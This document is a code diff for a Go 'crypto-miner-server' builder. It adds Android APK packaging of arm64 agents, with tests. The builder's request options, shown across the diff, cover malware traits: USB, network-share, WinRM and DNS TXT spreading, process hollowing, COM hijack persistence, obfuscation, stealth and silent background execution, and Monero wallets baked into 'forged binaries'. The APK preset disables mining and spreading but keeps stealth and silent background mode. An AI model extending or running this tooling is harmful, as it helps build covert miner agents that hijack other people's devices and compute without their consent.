Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.

server/internal/builder/build_apk.go

@@ -0,0 +1,292 @@
+package builder
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"log"
+	"net/http"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"time"
+
+	"crypto-miner-server/internal/models"
+
+	"github.com/google/uuid"
+)
+
+// ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path.
+type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
+
+// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
+var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
+
+// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
+func ApplyApkBuildPreset(req *BuildRequest) {
+	req.ApkMode = true
+	req.TargetOS = "android"
+	req.TargetArch = "arm64"
+	req.FusionEnabled = false
+	req.SpreadKit = false
+	req.GPUEnabled = false
+	req.ProcessHollowing = false
+	req.Obfuscate = false
+	req.SignBuild = false
+	req.MiningDisabled = true
+	req.MinerExecution = "inprocess"
+	req.Threads = 1
+	req.ThreadMode = "fixed"
+	req.ThreadPercent = 25
+	req.MiningMode = "idle"
+	req.MaxCPUUsagePct = 30
+	req.StealthMode = true
+	req.SilentMode = true
+	req.DisplayMode = "background"
+	req.FileLogging = false
+	req.AutoSpread = false
+	req.USBSpread = false
+	req.ShareSpread = false
+	req.WinRMSpread = false
+	req.DnsTxtSpread = false
+	req.WebRTCMeshSpread = false
+	req.WSUSCachePeerSpread = false
+	req.COMHijackPersist = false
+	req.RemoteAggressive = false
+	req.LinuxLOTLMode = "off"
+	req.LotlOnionEnabled = false
+	req.LotlPolicyFromServer = false
+	req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...)
+	if strings.TrimSpace(req.ApkAgentName) == "" {
+		req.ApkAgentName = req.WorkerName
+	}
+}
+
+func (h *Handler) apkAndroidDir() string {
+	if h.projectRoot != "" && h.projectRoot != "." {
+		return filepath.Join(h.projectRoot, "android")
+	}
+	return filepath.Join(h.dataDir, "android")
+}
+
+func (h *Handler) apkAssetsDir() string {
+	return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
+}
+
+type apkAssetConfig struct {
+	ServerURL  string `json:"server_url"`
+	WorkerName string `json:"worker_name"`
+}
+
+func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
+	assetsDir := h.apkAssetsDir()
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		return fmt.Errorf("create apk assets dir: %w", err)
+	}
+	cfg := apkAssetConfig{
+		ServerURL:  strings.TrimSpace(req.ServerURL),
+		WorkerName: strings.TrimSpace(req.ApkAgentName),
+	}
+	if cfg.WorkerName == "" {
+		cfg.WorkerName = strings.TrimSpace(req.WorkerName)
+	}
+	raw, err := json.MarshalIndent(cfg, "", "  ")
+	if err != nil {
+		return err
+	}
+	return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644)
+}
+
+func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error {
+	assetsDir := h.apkAssetsDir()
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		return fmt.Errorf("create apk assets dir: %w", err)
+	}
+	dest := filepath.Join(assetsDir, "agent")
+	return copyFile(agentBinary, dest)
+}
+
+func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
+	script := filepath.Join(androidDir, "build-apk.ps1")
+	if runtime.GOOS == "windows" && fileExists(script) {
+		cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir)
+		out, err := cmd.CombinedOutput()
+		if err != nil {
+			if ctx.Err() != nil {
+				return "", fmt.Errorf("apk build cancelled")
+			}
+			return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
+		}
+		apk := filepath.Join(buildDir, "agent-app-release.apk")
+		if fileExists(apk) {
+			return apk, nil
+		}
+		return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
+	}
+
+	gradlew := filepath.Join(androidDir, "gradlew")
+	if runtime.GOOS == "windows" {
+		gradlew = filepath.Join(androidDir, "gradlew.bat")
+	}
+	if fileExists(gradlew) {
+		cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
+		cmd.Dir = androidDir
+		out, err := cmd.CombinedOutput()
+		if err != nil {
+			if ctx.Err() != nil {
+				return "", fmt.Errorf("apk build cancelled")
+			}
+			return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
+		}
+		candidates := []string{
+			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
+			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
+		}
+		for _, c := range candidates {
+			if fileExists(c) {
+				dest := filepath.Join(buildDir, "agent-app-release.apk")
+				if err := copyFile(c, dest); err != nil {
+					return "", err
+				}
+				return dest, nil
+			}
+		}
+		return "", fmt.Errorf("gradle finished but APK output not found")
+	}
+
+	return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script)
+}
+
+func fileExists(path string) bool {
+	_, err := os.Stat(path)
+	return err == nil
+}
+
+func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
+	if h.apkBuildFn != nil {
+		return h.apkBuildFn(h, ctx, androidDir, buildDir)
+	}
+	return h.defaultApkBuild(ctx, androidDir, buildDir)
+}
+
+func apkFileName(req *BuildRequest) string {
+	base := sanitizeFileName(req.ApkAgentName)
+	if base == "" {
+		base = sanitizeFileName(req.WorkerName)
+	}
+	return "agent-" + base + ".apk"
+}
+
+// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
+func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
+	ApplyApkBuildPreset(req)
+
+	buildID := uuid.New().String()
+	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
+	agentDir := filepath.Join(buildDir, "agent")
+	cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
+
+	if err := os.MkdirAll(agentDir, 0755); err != nil {
+		return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
+	}
+
+	h.setProgress(req.CancelToken, "Copying source files", 5)
+	if err := h.copyAgentSource(agentDir); err != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
+	}
+
+	platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
+	h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25)
+	outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
+	if err != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+	}
+
+	h.setProgress(req.CancelToken, "Writing Android config", 55)
+	if err := h.writeApkConfigJSON(req); err != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
+	}
+
+	h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
+	if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, ""
+	}
+
+	h.setProgress(req.CancelToken, "Building APK", 80)
+	androidDir := h.apkAndroidDir()
+	apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir)
+	if err != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+	}
+
+	finalName := apkFileName(req)
+	finalPath := filepath.Join(buildDir, finalName)
+	if apkPath != finalPath {
+		if err := copyFile(apkPath, finalPath); err != nil {
+			cleanupBuild()
+			return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, ""
+		}
+	}
+
+	fileInfo, err := os.Stat(finalPath)
+	if err != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, ""
+	}
+	if err := h.checkBuildSize(fileInfo.Size()); err != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
+	}
+
+	exportPath := ""
+	if h.projectRoot != "" && h.projectRoot != "." {
+		exportPath = filepath.Join(h.projectRoot, finalName)
+		if err := copyFile(finalPath, exportPath); err != nil {
+			log.Printf("[Builder] APK root export: %v", err)
+			exportPath = ""
+		}
+	}
+	if exportPath == "" {
+		exportPath, _ = filepath.Abs(finalPath)
+	}
+
+	absPath, _ := filepath.Abs(finalPath)
+	dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
+	buildRecord := &models.BuildRecord{
+		ID:          buildID,
+		WorkerName:  req.WorkerName,
+		ServerURL:   req.ServerURL,
+		Wallet:      req.Wallet,
+		Threads:     req.Threads,
+		FileSize:    fileInfo.Size(),
+		FilePath:    absPath,
+		FileName:    finalName,
+		DownloadURL: dlURL,
+		Platform:    "android",
+		CreatedAt:   time.Now(),
+	}
+	h.setProgress(req.CancelToken, "Saving to database", 99)
+	if err := h.db.InsertBuild(buildRecord); err != nil {
+		return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
+	}
+
+	h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
+
+	return BuildResponse{
+		Success:      true,
+		BuildID:      buildID,
+		FileName:     finalName,
+		FilePath:     absPath,
+		ArtifactPath: absPath,
+		FileSize:     fileInfo.Size(),
+		DownloadURL:  dlURL,
+		ExportPath:   exportPath,
+	}, http.StatusOK, finalPath
+}

server/internal/builder/build_apk_test.go

@@ -0,0 +1,121 @@
+package builder
+
+import (
+	"context"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestApplyApkBuildPreset(t *testing.T) {
+	req := &BuildRequest{
+		WorkerName:    "phone-1",
+		ServerURL:     "http://192.168.1.5:8989",
+		FusionEnabled: true,
+		Threads:       8,
+	}
+	ApplyApkBuildPreset(req)
+	if !req.ApkMode || req.TargetOS != "android" || req.TargetArch != "arm64" {
+		t.Fatalf("apk preset target: mode=%v os=%q arch=%q", req.ApkMode, req.TargetOS, req.TargetArch)
+	}
+	if req.FusionEnabled || req.SpreadKit || !req.MiningDisabled {
+		t.Fatalf("fusion/spread/mining: fusion=%v spread=%v mining_disabled=%v", req.FusionEnabled, req.SpreadKit, req.MiningDisabled)
+	}
+	if req.Threads != 1 {
+		t.Fatalf("threads=%d want 1", req.Threads)
+	}
+	if req.ApkAgentName != "phone-1" {
+		t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
+	}
+}
+
+func TestPlatformsForRequestApkMode(t *testing.T) {
+	ps := platformsForRequest(&BuildRequest{ApkMode: true})
+	if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
+		t.Fatalf("apk platform: %+v", ps)
+	}
+}
+
+func TestBuildAPKAgentMockGradle(t *testing.T) {
+	h, _ := testHandlerDB(t)
+	setFakeGoSuccess(t, h)
+
+	androidDir := filepath.Join(h.projectRoot, "android")
+	if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
+		apk := filepath.Join(buildDir, "agent-app-release.apk")
+		if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
+			return "", err
+		}
+		return apk, nil
+	}
+
+	req := &BuildRequest{
+		WorkerName:  "tablet-1",
+		ServerURL:   "http://192.168.1.10:8989",
+		CancelToken: "apk-test-token",
+		ApkMode:     true,
+	}
+	resp, code, _ := h.buildAPKAgent(context.Background(), req)
+	if code != 200 || !resp.Success {
+		t.Fatalf("build failed code=%d resp=%+v", code, resp)
+	}
+	if resp.ArtifactPath == "" || resp.DownloadURL == "" {
+		t.Fatalf("missing artifact paths: %+v", resp)
+	}
+	if !strings.HasSuffix(resp.FileName, ".apk") {
+		t.Fatalf("file_name=%q", resp.FileName)
+	}
+
+	cfgPath := filepath.Join(h.apkAssetsDir(), "config.json")
+	raw, err := os.ReadFile(cfgPath)
+	if err != nil {
+		t.Fatalf("config.json: %v", err)
+	}
+	var cfg apkAssetConfig
+	if err := json.Unmarshal(raw, &cfg); err != nil {
+		t.Fatal(err)
+	}
+	if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
+		t.Fatalf("config.json: %+v", cfg)
+	}
+
+	agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
+	if _, err := os.Stat(agentAsset); err != nil {
+		t.Fatalf("agent asset missing: %v", err)
+	}
+
+	// Verify compile step wrote linux/arm64 builtin config with APK flags.
+	buildDirs, _ := os.ReadDir(filepath.Join(h.dataDir, "builds"))
+	if len(buildDirs) == 0 {
+		t.Fatal("no build dir")
+	}
+	builtinPath := filepath.Join(h.dataDir, "builds", buildDirs[0].Name(), "agent", "config", "builtin.go")
+	builtin, err := os.ReadFile(builtinPath)
+	if err != nil {
+		t.Fatalf("builtin.go: %v", err)
+	}
+	if !strings.Contains(string(builtin), "ApkMode") || !strings.Contains(string(builtin), "MiningDisabled: true") {
+		t.Fatalf("apk flags missing from builtin.go:\n%s", builtin)
+	}
+}
+
+func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
+	h := &Handler{}
+	req := &BuildRequest{
+		WorkerName: "apk-node",
+		ServerURL:  "http://192.168.1.5:8989",
+		ApkMode:    true,
+	}
+	if err := h.normalizeRequest(req); err != nil {
+		t.Fatal(err)
+	}
+	if req.TargetOS != "android" || !req.MiningDisabled {
+		t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
+	}
+}

server/internal/builder/handler.go

@@ -122,6 +122,11 @@ type BuildRequest struct {
 	LotlOnionEnabled     bool     `json:"lotl_onion_enabled"`
 	LotlPolicyFromServer bool     `json:"lotl_policy_from_server"`
 	LotlOnionTiers       []string `json:"lotl_onion_tiers,omitempty"`
+
+	// APK mode — Android fleet node (mining off by default).
+	ApkMode          bool   `json:"apk_mode"`
+	ApkAgentName     string `json:"apk_agent_name"`
+	MiningDisabled   bool   `json:"mining_disabled"`
 }
 
 // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -157,6 +162,7 @@ type BuildResponse struct {
 	SigilScramble        bool   `json:"sigil_scramble,omitempty"`
 	BinaryFingerprint  string `json:"binary_fingerprint,omitempty"`
 	StealthScore         int    `json:"stealth_score,omitempty"`
+	ArtifactPath         string `json:"artifact_path,omitempty"`
 	Error                string `json:"error,omitempty"`
 }
 
@@ -204,6 +210,9 @@ type Handler struct {
 	// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
 	activeProgressMu sync.RWMutex
 	activeProgress   map[string]BuildProgress
+
+	// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
+	apkBuildFn ApkBuildFunc
 }
 
 // SetFleetSecret stores the fleet secret so it is baked into every forged binary.
@@ -593,6 +602,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
 }
 
 func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
+	if req.ApkMode {
+		return h.buildAPKAgent(ctx, req)
+	}
 	if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
 		return h.buildUniversalAgent(ctx, req, prepPath)
 	}
@@ -928,10 +940,13 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.ServerURL == "" {
 		return fmt.Errorf("server_url is required")
 	}
-	if req.Wallet == "" {
+	if req.ApkMode {
+		ApplyApkBuildPreset(req)
+	}
+	if !req.ApkMode && req.Wallet == "" {
 		return fmt.Errorf("wallet is required")
 	}
-	if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
+	if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
 		return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)")
 	}
 	req.OutputDir = strings.TrimSpace(req.OutputDir)
@@ -1043,6 +1058,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.PoolPass == "" {
 		req.PoolPass = "x"
 	}
+	if req.ApkMode {
+		req.FusionEnabled = false
+		req.SpreadKit = false
+	}
 	if req.FusionEnabled {
 		if req.FusionRunOrder == "" {
 			req.FusionRunOrder = "parallel"
@@ -1071,7 +1090,11 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 		}
 	}
 	if strings.TrimSpace(req.TargetOS) == "" {
-		req.TargetOS = "windows"
+		if req.ApkMode {
+			req.TargetOS = "android"
+		} else {
+			req.TargetOS = "windows"
+		}
 	}
 	if req.SpreadKit {
 		req.FusionEnabled = false
@@ -1249,6 +1272,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		LotlOnionEnabled:     %v,
 		LotlPolicyFromServer: %v,
 		LotlOnionTiers:       %s,
+
+		ApkMode:        %v,
+		MiningDisabled: %v,
 	}
 }
 `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1331,6 +1357,8 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.LotlOnionEnabled,
 		req.LotlPolicyFromServer,
 		formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
+		req.ApkMode,
+		req.MiningDisabled,
 	)
 }
 

server/internal/builder/platform.go

@@ -26,6 +26,9 @@ var defaultPlatforms = []BuildPlatform{
 }
 
 func platformsForRequest(req *BuildRequest) []BuildPlatform {
+	if req.ApkMode || strings.ToLower(strings.TrimSpace(req.TargetOS)) == "android" {
+		return []BuildPlatform{{GOOS: "linux", GOARCH: "arm64", Ext: ""}}
+	}
 	target := strings.ToLower(strings.TrimSpace(req.TargetOS))
 	if target == "" || target == "windows" {
 		return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}

server/internal/builder/platform_test.go

@@ -7,6 +7,13 @@ import (
 	"testing"
 )
 
+func TestPlatformsForRequestAndroid(t *testing.T) {
+	ps := platformsForRequest(&BuildRequest{TargetOS: "android"})
+	if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
+		t.Fatalf("android maps to linux/arm64 agent, got %+v", ps)
+	}
+}
+
 func TestPlatformsForRequestWindowsDefault(t *testing.T) {
 	req := &BuildRequest{TargetOS: ""}
 	ps := platformsForRequest(req)